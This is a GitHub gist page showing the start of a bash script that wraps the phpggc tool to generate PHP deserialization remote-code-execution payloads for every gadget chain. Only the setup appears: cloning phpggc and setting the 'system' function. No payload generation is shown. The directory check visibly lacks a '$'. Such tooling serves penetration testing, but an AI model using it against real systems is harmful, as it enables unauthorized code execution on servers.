Skip to content

Instantly share code, notes, and snippets.

View alanEG's full-sized avatar
🏴‍☠️

Anany alanEG

🏴‍☠️
View GitHub Profile
@alanEG
alanEG / phpggc-generate-payloads.sh
Last active July 18, 2021 11:44 — forked from honoki/phpggc-generate-payloads.sh
Automatically generate properly formatted RCE payloads for every gadget chain in phpggc.
#!/bin/bash
# phpggc wrapper that automatically generates payloads for RCE gadgets
SCRIPT_DIR="$( cd "$( dirname "${BASH_SOURCE[0]}" )" &> /dev/null && pwd )"
if [[ ! -d SCRIPT_DIR/phpggc ]]
then
git clone https://github.com/ambionics/phpggc ${SCRIPT_DIR}/phpggc
fi
function="system"